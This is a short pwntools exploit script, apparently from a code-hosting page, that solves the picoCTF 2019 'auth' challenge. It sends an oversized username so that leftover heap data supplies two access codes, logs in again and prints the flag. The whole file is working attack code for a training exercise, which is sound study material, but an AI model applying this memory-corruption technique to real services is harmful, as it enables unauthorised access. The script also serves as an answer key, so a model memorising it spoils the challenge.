/
script.py
76 lines (63 loc) · 2.24 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 2019shell1.picoctf.com --port 21899 auth
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('auth')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '2019shell1.picoctf.com'
port = int(args.PORT or 21899)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# FORTIFY: Enabled
# Access codes
AC1 = 0x4343415f544f4f52
AC2 = 0x45444f435f535345
io = start()
io.sendlineafter("]> ", "login")
# Overwrite `username` pointer
name = b"a"*8
# Add the two access codes to the array
name += p64(AC1) + p64(AC2)
# Overwrite `files` pointer to reach length of `struct user`
name += b"b"*8
io.sendlineafter("Please enter the length of your username", str(len(name)))
io.sendlineafter("Please enter your username", name)
io.sendlineafter("]> ", "logout")
io.sendlineafter("]> ", "login")
name = "a" # doesn't matter
io.sendlineafter("Please enter the length of your username", str(len(name)))
io.sendlineafter("Please enter your username", name)
io.sendlineafter("]> ", "print-flag")
io.sendlineafter("]> ", "quit")
flag = io.recvuntil("}")
log.success(flag.decode("ascii"))